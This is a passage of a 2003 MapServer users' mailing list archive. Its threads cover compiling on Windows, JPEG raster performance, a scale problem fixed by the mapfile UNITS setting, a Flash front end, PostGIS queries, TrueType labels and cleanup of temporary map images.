><< message99.txt >> ><< message101.txt >> ><< message104.txt >> >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _________________________________________________________________ MSN. M?s ?til Cada D?a http://www.msn.es/intmap/ From stepan.kafka at centrum.cz Thu Jan 16 09:33:36 2003 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Thu, 16 Jan 2003 18:33:36 +0100 Subject: [Mapserver-users] Compilation mapserver on win32 - regex In-Reply-To: Message-ID: <000501c2bd85$66894f50$7e3c2fc3@HSGIS> Hi all, I am trying to compile mapserver on win2000 (mapserv 3.6.3 or devel. version, GD-1.8.4, freetype-1.3.1, gdal, proj, regex-0.12) and I get this error: Creating library mapserv.lib and object mapserv.exp mapserver.lib(regex.obj) : error LNK2001: unresolved external symbol _printchar mapserv.exe : fatal error LNK1120: 1 unresolved externals NMAKE : fatal error U1077: 'link' : return code '0x460' In the regex.c I found this declaration: extern void printchar(); but nowhere the definition. What I need? Any idea? Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz http://www.bnhelp.cz From DOtt at PALATINE.IL.US Thu Jan 16 10:02:53 2003 From: DOtt at PALATINE.IL.US (Dale Ott) Date: Thu, 16 Jan 2003 12:02:53 -0600 Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #45 - 40 msgs (Auto Reply.) Message-ID: Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks! From jmccue at geovue.com Thu Jan 16 10:09:24 2003 From: jmccue at geovue.com (John McCue) Date: Thu, 16 Jan 2003 13:09:24 -0500 Subject: [Mapserver-users] Compilation mapserver on win32 - regex In-Reply-To: <000501c2bd85$66894f50$7e3c2fc3@HSGIS> Message-ID: Stepan, Did you define HAVE_STRING_H and REGEX_MALLOC? I think that will help. John From stepan.kafka at centrum.cz Thu Jan 16 10:26:43 2003 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Thu, 16 Jan 2003 19:26:43 +0100 Subject: [Mapserver-users] Compilation mapserver on win32 - regex In-Reply-To: Message-ID: <000601c2bd8c$d1e62ff0$7e3c2fc3@HSGIS> John, I had these option defined in the makefile. So the error is somewhere else :( Stepan Kafka > -----P?vodn? zpr?va----- > Od: John McCue [mailto:jmccue at geovue.com] > Odesl?no: 16. ledna 2003 19:09 > Komu: Mapserver-Users; Stepan Kafka > P?edm?t: RE: [Mapserver-users] Compilation mapserver on win32 - regex > > > Stepan, > Did you define HAVE_STRING_H and REGEX_MALLOC? I think that will help. > > John > > From lfilak at medinaco.org Thu Jan 16 10:30:27 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Thu, 16 Jan 2003 13:30:27 -0500 Subject: [Mapserver-users] Raster support - JPG problem Message-ID: <200301161827.h0GIRAR12448@yogi.medinaco.net> Yes. The format is reported readable & writeable via GDAL but the quality of the images (color) that I have seen once reduced to fit 8-bit were no good compared to the original tiffs. That was prior to 24-bit color support in MS. Lowell F. The following message was sent by "Lowther, David W" on Thu, 16 Jan 2003 09:29:46 -0600. > Have you guys considered ECW instead of JPEG? > > -----Original Message----- > From: Lowell Filak [mailto:lfilak at medinaco.org] > Sent: Wednesday, January 15, 2003 3:57 PM > To: Hankley, Chip; 'Zatorsky.MichaelP at police.qld.gov.au'; > mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] Raster support - JPG problem > > > I would have to agree with Chip's performance findings. > We originally received all our orthophotography in TIFF format and planned > on converting the images to JPEG to enable us to load the dataset on smaller > machines. > However the performance hit was major in every application (Mapserver, > Arc/INFO, & Arcview) because the entire JPEG tile had to be decompressed > before the software could determine which pixels of the image needed > rendered. > You can save space by flattening the source images to 8-bit WITH space > reserved for 256 colors (some applications flatten to 8-bit but reserve > space for 1000+ colors and that doesn't save any space). > If truly needed you can always save space by resampling the data to a larger > pixel size, ie. 1' -> 2'. > Lowell F. > > The following message was sent by "Hankley, Chip" > on Wed, 15 Jan 2003 12:46:00 -0600. > > > Michael, > > > > As Norman and Daniel pointed out, there are known issues with JPEG and > > MapServer. > > > > That said, I had a similar problem some months back trying to serve up > JPEG > > images to MapServer. I did some experimenting and was finally able to get > a > > JPEG image to come up in MS (sorry, I can't remember exactly what I did), > > but the performance was terrible. > > > > My assumption is that MapServer has to somehow uncompress the JPEG images > > before rendering them as part of the final image, and that this was the > > cause of the performance hit (if I simply swapped the data source to a > TIF, > > there was no performance problem). I have no idea if my assessment of how > > the mechanics of JPEG rendering is correct... but in the end, I concluded > > that the trade-off for space savings with JPEG didn't make up for the > > performance hit I was taking. > > > > ...just my experience. > > > > Chip > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rgrant at nrcan.gc.ca Thu Jan 16 11:55:09 2003 From: rgrant at nrcan.gc.ca (Grant, Ryan) Date: Thu, 16 Jan 2003 14:55:09 -0500 Subject: [Mapserver-users] Flash Interface to mapserver Message-ID: <8AE17DD6AA4FD51191CD0002A551168184BB3C@s5-van1-r1.ess.nrcan.gc.ca> Hey there. Well it's time I stopped simply leaching from this users-group and add my contribution. I've built a simple flash interface around MapServer 3.6.3. The backend functionality is provided by PHP-Mapscript. On the page is a link to a zip file containing all of the relevant code. Feel free to use anything you want. I couldn't have been here without the help and knowledge gleamed from this users group. I would appreciate any bug reports, feedback, suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on a Mac and so far all is well. http://132.156.108.209/FlashMap/FlashMapServer.html Cheers! Ryan From daniel.berstein at dmapas.com Thu Jan 16 12:34:18 2003 From: daniel.berstein at dmapas.com (daniel.berstein at dmapas.com) Date: Thu, 16 Jan 2003 17:34:18 -0300 Subject: [Mapserver-users] Flash Interface to mapserver Message-ID: <01C2BD85.802602F0.daniel.berstein@dmapas.com> Well done. The UI is simple, fast, aesthetic... thank you for sharing. PS: I bet you work for a mining company. Regards, Daniel Berstein Z. Jefe de Proyectos, dmapas.com Eduardo Hyatt 583, Providencia, Santiago CHILE *(56) (2) 222 22 60 -----Mensaje original----- De: Grant, Ryan [SMTP:rgrant at nrcan.gc.ca] Enviado el: Jueves, 16 de Enero de 2003 16:55 Para: Mapserver Users (E-mail) Asunto: [Mapserver-users] Flash Interface to mapserver Hey there. Well it's time I stopped simply leaching from this users-group and add my contribution. I've built a simple flash interface around MapServer 3.6.3. The backend functionality is provided by PHP-Mapscript. On the page is a link to a zip file containing all of the relevant code. Feel free to use anything you want. I couldn't have been here without the help and knowledge gleamed from this users group. I would appreciate any bug reports, feedback, suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on a Mac and so far all is well. http://132.156.108.209/FlashMap/FlashMapServer.html Cheers! Ryan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bwragg at tpg.com.au Thu Jan 16 13:06:50 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Fri, 17 Jan 2003 07:36:50 +1030 Subject: [Mapserver-users] Complex querying PostGIS Layer Message-ID: <000e01c2bda3$3096bfe0$0100a8c0@mapping12> This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C2BDFB.332503E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi guys, =20 I need to perform a complex query on a PostGIS layer in PHP MapScript and I=92m a little unsure which part should handle the query PostGIS or MapScript. The query logical is shown below: =20 Select all the polygons in layerX that are intersected by featureA in layerZ=20 where layerX=92s type field equals =93ROAD=94 =20 LayerX at the moment is always a polygon but in the future may become a line or point. layerZ could be either point, line polygon but featureA will only every be one feature. =20 In PostGIS I believe you can send both the spatial query and the attribute query in one SQL statement using a WHERE clause. Correct?=20 =20 With MapScript how would the query work? Would I basically need to run two queries, the spatial part and then the attribute part (or vise vera) =20 Thanks, =20 Benjamin Wragg =20 =20 =20 =20 ------=_NextPart_000_000F_01C2BDFB.332503E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi guys,

 

I need to perform a complex query on a PostGIS layer in PHP MapScript and = I’m a little unsure which part should handle the query PostGIS or MapScript. = The query logical is shown below:

 

Select all the polygons in layerX that are intersected by featureA in layerZ =

where layerX’s type field equals “ROAD”

 

LayerX at the moment is always a polygon but in the future may become a line or = point. layerZ could be either point, line polygon but featureA will only every = be one feature.

 

In PostGIS I believe you can send both the spatial query and the attribute = query in one SQL statement using a WHERE clause. Correct?

 

With MapScript how would the query work? Would I basically need to run two queries, the spatial part and then the attribute part (or vise = vera)

 

Thanks,

 

Benjamin Wragg

 

 

 

 

------=_NextPart_000_000F_01C2BDFB.332503E0-- From lfilak at medinaco.org Thu Jan 16 13:12:03 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Thu, 16 Jan 2003 16:12:03 -0500 Subject: [Mapserver-users] mapfile mapscale strangeness Message-ID: <200301162108.h0GL8kR15524@yogi.medinaco.net> I can't seem to reproduce it here. Same version of MS (3.6.3) with older version of RH (7.1). Possibly posting the relevant code may help. Lowell F. The following message was sent by Dana Quinn on Wed, 15 Jan 2003 17:48:54 -0800. > > I'm seeing a strange problem with application of the MINSCALE and > MAXSCALE parameters. I'm using 3.6.3, redhat linux 8, and perl > mapscript. I'm am working on getting an existing application that > works under an old version of the mapserver working on this new > version, on a new machine. > > So this is my new problem - I have layers that are only supposed to > turn on at a 'larger scale' - more zoomed in - things like street > names and secondary streets and stuff like that, that were turning > on when my scale was much smaller. I'd have something like > MAXSCALE 40000 in the layer, but when I'd create a map that is > zoomed out far enough that I could see complete states, I would > still have the MAXSCALE 40000 layers displayed. > > So after some testing and lots of debug print statements, I > found that mapscript, as I compiled it, thinks the SCALE is > usually somewhere between 1 and 5. I adjusted some of my MAXSCALE > lines to these sorts of values, and things work the way I expect > them to. > > So to summarize - I would expect the scale of the maps I create to > be in ranges like 10000-25000, 250000 and so on, but they seem to > be smaller numbers like 0.5, 3, so on. Has anyone else seen > something like this? Did I blow some configuration option? > > dana > > -- > > Dana Quinn, dana at nextbus.com > NextBus Information Systems > (510) 420-3117 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From morissette at dmsolutions.ca Thu Jan 16 13:23:12 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 16 Jan 2003 16:23:12 -0500 Subject: [Mapserver-users] mapfile mapscale strangeness References: <200301162108.h0GL8kR15524@yogi.medinaco.net> Message-ID: <3E2722C0.F1591B61@dmsolutions.ca> I would suggest that you check the UNITS setting at the top-level in your mapfile. It may be set to meters when it should be DD (degrees) or the reverse. UNITS must represent the units in which your EXTENT is expressed. Daniel Lowell Filak wrote: > > I can't seem to reproduce it here. > Same version of MS (3.6.3) with older version of RH (7.1). > Possibly posting the relevant code may help. > Lowell F. > > The following message was sent by Dana Quinn on Wed, 15 Jan 2003 17:48:54 -0800. > > > > > I'm seeing a strange problem with application of the MINSCALE and > > MAXSCALE parameters. I'm using 3.6.3, redhat linux 8, and perl > > mapscript. I'm am working on getting an existing application that > > works under an old version of the mapserver working on this new > > version, on a new machine. > > > > So this is my new problem - I have layers that are only supposed to > > turn on at a 'larger scale' - more zoomed in - things like street > > names and secondary streets and stuff like that, that were turning > > on when my scale was much smaller. I'd have something like > > MAXSCALE 40000 in the layer, but when I'd create a map that is > > zoomed out far enough that I could see complete states, I would > > still have the MAXSCALE 40000 layers displayed. > > > > So after some testing and lots of debug print statements, I > > found that mapscript, as I compiled it, thinks the SCALE is > > usually somewhere between 1 and 5. I adjusted some of my MAXSCALE > > lines to these sorts of values, and things work the way I expect > > them to. > > > > So to summarize - I would expect the scale of the maps I create to > > be in ranges like 10000-25000, 250000 and so on, but they seem to > > be smaller numbers like 0.5, 3, so on. Has anyone else seen > > something like this? Did I blow some configuration option? > > > > dana > > > > -- > > > > Dana Quinn, dana at nextbus.com > > NextBus Information Systems > > (510) 420-3117 > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From tbartlett at dddd.com.au Thu Jan 16 13:42:19 2003 From: tbartlett at dddd.com.au (Thomas Bartlett) Date: Fri, 17 Jan 2003 08:42:19 +1100 Subject: [Mapserver-users] Classifying Rasters Message-ID: <002c01c2bda8$25a87e70$1701a8c0@dddd.com.au> This is a multi-part message in MIME format. ------=_NextPart_000_0029_01C2BE04.587B7DF0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable G'Day All, I'm trying to classify a TIFF image in order to apply specific colors to = specific pixel values. I have tried the map file structure suggested in = the RASTER Howto document on the website but the image doesn't change. = Is there something fundamental I am missing ?? I am currently using the one of the MapServ 3.6 WIN binarys, without = GDAL Raster Support, do I need this to classify a TIFF image ??=20 Regards Thomas Bartlett -------------------------------------------------------------------------= --------------------------------- GIS Technician Digital (Digest) Data Design Pty Ltd=20 Military GIS Professionals and Consultants=20 http://www.dddd.com.au/=20 Telephone: 02 6286 9555=20 Facsimile: 02 6286 9888=20 Postal : PO Box 683 MAWSON ACT 2607 ------=_NextPart_000_0029_01C2BE04.587B7DF0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
G'Day All,
 
I'm trying to classify a TIFF image in order to = apply specific=20 colors to specific pixel values.  I have tried the map file = structure=20 suggested in the RASTER Howto document on the website but the image = doesn't=20 change.   Is there something fundamental I am missing = ??
 
I am currently using the one of the MapServ = 3.6 WIN=20 binarys, without GDAL Raster Support, do I need this to classify a TIFF = image=20 ?? 
 
 
Regards
 
Thomas=20 Bartlett
-------------------------------------------------------------= ---------------------------------------------
GIS=20 Technician
Digital (Digest) Data Design Pty Ltd
Military GIS=20 Professionals and Consultants
http://www.dddd.com.au/ =
Telephone: 02=20 6286 9555
Facsimile: 02 6286 9888
Postal : PO Box 683 = MAWSON =20 ACT  2607
------=_NextPart_000_0029_01C2BE04.587B7DF0-- From dana at nextbus.com Thu Jan 16 14:21:24 2003 From: dana at nextbus.com (Dana Quinn) Date: Thu, 16 Jan 2003 14:21:24 -0800 Subject: [Mapserver-users] mapfile mapscale strangeness References: <200301162108.h0GL8kR15524@yogi.medinaco.net> <3E2722C0.F1591B61@dmsolutions.ca> Message-ID: <3E273064.6010501@nextbus.com> Bingo. That seems to have been it. Thank you both for your help! The units setting before was meters. dana Daniel Morissette wrote: > I would suggest that you check the UNITS setting at the top-level in > your mapfile. It may be set to meters when it should be DD (degrees) or > the reverse. UNITS must represent the units in which your EXTENT is > expressed. > > Daniel > > Lowell Filak wrote: > >>I can't seem to reproduce it here. >>Same version of MS (3.6.3) with older version of RH (7.1). >>Possibly posting the relevant code may help. >>Lowell F. >> >>The following message was sent by Dana Quinn on Wed, 15 Jan 2003 17:48:54 -0800. >> >> >>>I'm seeing a strange problem with application of the MINSCALE and >>>MAXSCALE parameters. I'm using 3.6.3, redhat linux 8, and perl >>>mapscript. I'm am working on getting an existing application that >>>works under an old version of the mapserver working on this new >>>version, on a new machine. >>> >>>So this is my new problem - I have layers that are only supposed to >>>turn on at a 'larger scale' - more zoomed in - things like street >>>names and secondary streets and stuff like that, that were turning >>>on when my scale was much smaller. I'd have something like >>>MAXSCALE 40000 in the layer, but when I'd create a map that is >>>zoomed out far enough that I could see complete states, I would >>>still have the MAXSCALE 40000 layers displayed. >>> >>>So after some testing and lots of debug print statements, I >>>found that mapscript, as I compiled it, thinks the SCALE is >>>usually somewhere between 1 and 5. I adjusted some of my MAXSCALE >>>lines to these sorts of values, and things work the way I expect >>>them to. >>> >>>So to summarize - I would expect the scale of the maps I create to >>>be in ranges like 10000-25000, 250000 and so on, but they seem to >>>be smaller numbers like 0.5, 3, so on. Has anyone else seen >>>something like this? Did I blow some configuration option? >>> >>>dana >>> >>>-- >>> >>>Dana Quinn, dana at nextbus.com >>>NextBus Information Systems >>>(510) 420-3117 >>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > -- Dana Quinn, dana at nextbus.com NextBus Information Systems (510) 420-3117 From robert at wotzhere.com Thu Jan 16 14:37:58 2003 From: robert at wotzhere.com (Robert Crossley) Date: Fri, 17 Jan 2003 09:37:58 +1100 Subject: [Mapserver-users] Flash Interface to mapserver In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168184BB3C@s5-van1-r1.ess.nrcan.gc.ca> Message-ID: Well done, Works fine on Opera on Windows 2000, except for the info tool. I am going to start on getting a flash version of an application going on php as soon as I have set up the linux servers, and this will be a great start. Flash definately offers the most opportunity to develop an interactive client side application that I have seen. I was going to suggest getting an open source project going for flash similar to rosa. I would be happy to provide any improvements that are generic as I go along. I am only just starting in both php and actionscript, but should be able to contribute something before too long. Perhaps later we can get a central repository for it? R Robert Crossley Neo Software 9 Short St New Brighton 2483 Far Southern Queensland AUSTRALIA P: 02 6680 1309 F: New Connection M: 0419 718 642 E: robert at wotzhere.com From steve.lime at dnr.state.mn.us Thu Jan 16 14:53:21 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 16 Jan 2003 16:53:21 -0600 Subject: [Mapserver-users] Flash Interface to mapserver Message-ID: Don't want to lose this. How 'bout adding/starting a flash section on the wiki? >>> "Grant, Ryan" 01/16/03 01:55PM >>> Hey there. Well it's time I stopped simply leaching from this users-group and add my contribution. I've built a simple flash interface around MapServer 3.6.3. The backend functionality is provided by PHP-Mapscript. On the page is a link to a zip file containing all of the relevant code. Feel free to use anything you want. I couldn't have been here without the help and knowledge gleamed from this users group. I would appreciate any bug reports, feedback, suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on a Mac and so far all is well. http://132.156.108.209/FlashMap/FlashMapServer.html Cheers! Ryan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mccrone at pc.jaring.my Thu Jan 16 15:20:45 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Fri, 17 Jan 2003 07:20:45 +0800 Subject: [Mapserver-users] Testsuite - itemquery with Rosa on the same page Message-ID: <001f01c2bdb5$e661bb10$7663063d@clickntrac> This is a multi-part message in MIME format. ------=_NextPart_000_001C_01C2BDF8.F377F7E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have partially solved my itemquery zoom in problem. I added the = following to the=20 main page index.html -=20 =20 It still cannot get two images on my template page usign something like = -=20 Has anybody implemented this query zoom in fucntion from within the = template page and with rosa applet involved? Thanks, Steve ------=_NextPart_000_001C_01C2BDF8.F377F7E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have partially solved my itemquery = zoom in=20 problem. I added the following to the
main page index.html -
<input type=3D"hidden" = name=3D"mapext" value=3D"">=20
It still cannot get two images on my = template page=20 usign something like -
<img border=3D"2"=20 src=3D"[mapserv]?map=3D[map]&name=3D[name_esc]&mode=3Ditemqueryma= p&mapext=3Dshapes&qlayer=3D[qlayer]"=20 height=3D"300" width=3D"300">
 
Has anybody implemented this query zoom = in fucntion=20 from within the template page
and with rosa applet = involved?
 
Thanks,
 
Steve
------=_NextPart_000_001C_01C2BDF8.F377F7E0-- From nacional at cbs.umn.edu Mon Jan 13 13:13:29 2003 From: nacional at cbs.umn.edu (Pericles Nacionales) Date: Mon, 13 Jan 2003 15:13:29 -0600 (CST) Subject: [Mapserver-users] TrueType Font and Label Angle In-Reply-To: Message-ID: Larry, Did you try compiling GD and MapServer with the same freetype version? I usually compile mine with version 1.3.1 and everything works just fine. Here's what I do to compile Freetype 1.3.1 with MapServer: ./configure --enable-force-freetype1 --with-gd=static,../gd-1.8.4 ... Then I edit the resulting Makefile and make sure that the GD line contains "-DUSE_GD_TTF", and NOT "-DUSE_GD_FT". As for GD, I compile my own version and link it statically to MapServer. I just make sure to edit GD's Makefile and use -DHAVE_LIBTTF (and -lttf) instead of -DHAVE_LIBFREETYPE (and -lfreetype). I don't know if all these have anything to do with labels getting screwed up but I've never had issues with Truetype fonts this way. By the way, I use Gentoo Linux and Lycoris Desktop/LX. I don't have Redhat 8 but I know my Lycoris binaries work properly on it (having used it for a workshop at JPL). Good luck! -Perry N. On Mon, 13 Jan 2003, Ellenbecker, Larry wrote: > List, > > I'm trying to get true type fonts working with my application on Linux. The > application is up a running on both Linux and NT. True type fonts are > working just fine on NT, but on Linux I've had the following problems. My > application is straight CGI. > > System Specs: RedHat 7.0 with freetype-1..3.1. freetype-2.1.2, gd-2.0.9 > and mapserver-3.6.1. > > After compiling and installing both freetype fonts and GD, > I compiled mapsever and got the msGetLabelSize(): Could not find/open font. > Initaially my application was sitting at: > > /var/www/html/simple with simple.map FONSET > fonts/fonts.txt > > When I moved my fonts directory to /var/www/html/fonts and > changed simple.map FONSET ../fonts/fonts.txt I was able to use true type > font arial in my application. I then ran into the next issue with Label > Angle. I couldn't get the labels to follow the appropriate line orientation > as it does on my NT version. I researched the list and found Jonathan > Lowe's "line layer label angle changes(solved)" . I've tried to follow > these directions but am still unable to get the labels to plot with the > correct orientation of the line. The BUFFER, BACKGROUNDSHADOWSIZE AND > BACKGROUNDCOLOR create a background box oriented in the appropriate > position but the text doesn't hit the background box. > > Has anyone got a sure fire method for resolving truetype > label angle problems - I'd sure appreciate any assistance. > > Larry L. Ellenbecker > GIS Systems Analyst > Winnebago County > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jean-charles.garin at gouv.nc Tue Jan 14 13:49:51 2003 From: jean-charles.garin at gouv.nc (jean-charles.garin at gouv.nc) Date: Wed, 15 Jan 2003 08:49:51 +1100 Subject: [mapserver-users] SUM : Supported Databases and programmation language Message-ID: Message en plusieurs parties au format MIME --=_alternative 0077EBB44B256CAE_= Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I sum the answers i received on that topic :=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Jean-Guilhem Cailton a r=E9pondu : * des fichiers dbf associ=E9s =E0 des fichiers Shape ESRI, et PostGIS dans = la=20 cat=E9gorie "open source" * le param=E9trage du logiciel Mapserver par fichier "map" est tr=E8s riche= et=20 flexible et offre de nombreuses possibilit=E9s de construction de cartes et= =20 d'interrogation de base de donn=E9es, en mode cgi via un serveur http * pour l'entr=E9e ou la mise =E0 jour de donn=E9es : des langages de script= =20 comme PHP, Perl, Python, Tcl/Tk, Javascript ou autres comme Java sont=20 utilisables Paul Ramsey wrote : * PostgreSQL/PostGIS is a supported spatial database backend for postgis=20 (http://postgis.refractions.net). You could do something using PHP=20 (www.php.net) as the scripting language, which can independantly connect=20 to PostgreSQL (www.postgresql.org) Matt wrote : I do updating in the dbf, I have a key in each dbf and I update based on=20 that key using PHP. Most of our shape files have been generated in an=20 ESRI product and we have not encountered any transition problems to date.=20 Since you are new to MapServer (as I was recently) you may want to look at = the MapLab project. It is a PHP administration tool for MapServer which=20 allows you some ignorance of the details of the map file. If I were to=20 start all over again, I probably would go there. It requires that you=20 have PHP installed on your server (www.php.net). PHP is open-source and th= erefore free. MapLab can be found at http://www.dmsolutions.ca/maplab. Th= ese all can implemented on either windows or unix.=20 =20 MapServer has a CGI interface, so clients can be written in any web=20 language. It is possible to create a pure HTML solution, however it will=20 be limited. More commonly JavaScript will be used to create a better=20 dynamic environment. A Java Applet (Rosa) is also available, which could=20 be the fast way to decent environment. MapLab will let you pick what your = target environment is. =20 Dave Lowther wrote : Here is an example of how we do this: www.geo.ou.edu/ncdemo.htm There are many other features that are only available to subscribers of=20 the service. =20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Thanks to all for your precious help. Jean-charles GARIN Bureau de l'Information G=E9ographique DITTT Nouvelle-Cal=E9donie ----- R=E9achemin=E9 par Jean-Charles GARIN/DEVELOPPEMENT SIG/BIG/ST/DITTT = le=20 15/01/03 08:28 ----- jcgarin.dittt at gouv.nc Envoy=E9 par : owner-mapserver-users at lists.gis.umn.edu 15/11/02 17:41 =20 Pour : mapserver-users at lists.gis.umn.edu cc :=20 Objet : [mapserver-users] Supported Databases Hye,=20 I am new in MAPSERVER knowledge and making research on the "free"=20 possibilities of developping a web application for public information and=20 documents requests on cadastral information. Our data is on ARCGIS - ESRI=20 but we would like not to buy more licence to do this extra website.=20 I am looking for a list of the supported databases for updating and=20 reading purposes with MAPSERVER.=20 Is dbf completly supported ? others common database ?=20 =20 In wich language do it has to be programmed ?=20 Thanks for your help.=20 Jean-charles GARIN Bureau de l'Information G=E9ographique DITTT Gouvernement=20 Nouvelle-Cal=E9donie --=_alternative 0077EBB44B256CAE_= Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I sum the answers i received on that= topic :

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D

Jean-Guilhem Cailton a r=E9pondu :
* des fichiers dbf associ=E9s =E0 des fic= hiers Shape ESRI, et PostGIS dans la cat=E9gorie "open source"
* le param=E9trage du logiciel Mapserver = par fichier "map" est tr=E8s riche et flexible et offre de nombre= uses possibilit=E9s de construction de cartes et d'interrogation de base de= donn=E9es, en mode cgi via un serveur http
* pour l'entr=E9e ou la mise =E0 jour de = donn=E9es : des langages de script comme PHP, Perl, Python, Tcl/Tk, Javascr= ipt ou autres comme Java sont utilisables

Paul Ramsey wrote :
* PostgreSQL/PostGIS is a supported spatial database backend for postgis =
(http://postgis.refractions.net). You could do something using PHP
(www.php.net) as the scripting language, which can independantly connect to PostgreSQL (www.postgresql.org)


Matt wrote :
I do updating in the dbf, I have a key in= each dbf and I update based on that key using PHP.  Most of our shape= files have been generated in an ESRI product and we have not encountered a= ny transition problems to date.  Since you are new to MapServer (as I = was recently) you may want to look at the MapLab project.  It is a PHP= administration tool for MapServer which allows you some ignorance of the d= etails of the map file.  If I were to start all over again, I probably= would go there.  It requires that you have PHP installed on your serv= er (www.php.net). &n= bsp;PHP is open-source and therefore free.  MapLab can be found at http://www.dmsolutions.ca/maplab.  These all can implemented on either windows or = unix.  
 
MapServer has a CGI interface, so clients= can be written in any web language.  It is possible to create a pure = HTML solution, however it will be limited.  More commonly JavaScript w= ill be used to create a better dynamic environment.  A Java Applet (Ro= sa) is also available, which could be the fast way to decent environment. &= nbsp;MapLab will let you pick what your target environment is.
 
Dave Lowther wrote :
Here is an example of how we do thi= s:

www.geo.ou.edu/ncdemo.htm

There are many other features that are only available to subscribers of the=
service.

 
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D
Thanks to all for your precious help= .

Jean-charles GARIN
Bureau de l'Information G=E9ographique
DITTT
Nouvelle-Cal=E9donie

----- R=E9achemin=E9= par Jean-Charles GARIN/DEVELOPPEMENT SIG/BIG/ST/DITTT le 15/01/03 08:28 --= ---
Thanks John John Rubin Telephone: 902-893-5712 E-mail: RUBINJ at gov.ns.ca From keon at nacse.org Mon Jan 27 12:29:42 2003 From: keon at nacse.org (Dylan Keon) Date: Mon, 27 Jan 2003 12:29:42 -0800 Subject: [Mapserver-users] Program to clean up *gif files References: Message-ID: <3E3596B6.50300@nacse.org> John Rubin wrote: > Can anyone recommend a program to automatically erase gif files created by mapserver in the ../tmp directory? We are looking for a program for both windows and Unix. > For Unix, it's best to run a shell script through the cron utility. There is more info at http://mapserver.gis.umn.edu/doc36/manage.html For Windows, DM Solutions has a .exe file available at http://www2.dmsolutions.on.ca/webtools/dl/deltmpfiles.zip --Dylan -- ************************************************ Dylan Keon GIS/Database Research Specialist Northwest Alliance for Computational Science and Engineering (NACSE) Oregon State University Corvallis, OR 97331 keon at nacse.org (541) 737-6608 ************************************************ From DMartin at erac.com Mon Jan 27 12:55:37 2003 From: DMartin at erac.com (Martin, Daniel) Date: Mon, 27 Jan 2003 14:55:37 -0600 Subject: [Mapserver-users] Program to clean up *gif files Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035AADBD24@STL-EXBE-I03.corp.erac.com> I tried the DM Solutions exe. It works as advertised. It obviously takes into consideration the age of the file, and only deletes things that are older than some amount of time. That's excellent, considering problems might occur if you delete a map while someone is actively downloading the image. For curiosity's sake, could Daniel or anyone else at DM Solutions say what that amount of time is? Thanks, Dan -----Original Message----- From: Dylan Keon [mailto:keon at nacse.org] Sent: Monday, January 27, 2003 2:30 PM To: John Rubin Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Program to clean up *gif files John Rubin wrote: > Can anyone recommend a program to automatically erase gif files created by mapserver in the ../tmp directory? We are looking for a program for both windows and Unix. > For Unix, it's best to run a shell script through the cron utility. There is more info at http://mapserver.gis.umn.edu/doc36/manage.html For Windows, DM Solutions has a .exe file available at http://www2.dmsolutions.on.ca/webtools/dl/deltmpfiles.zip --Dylan -- 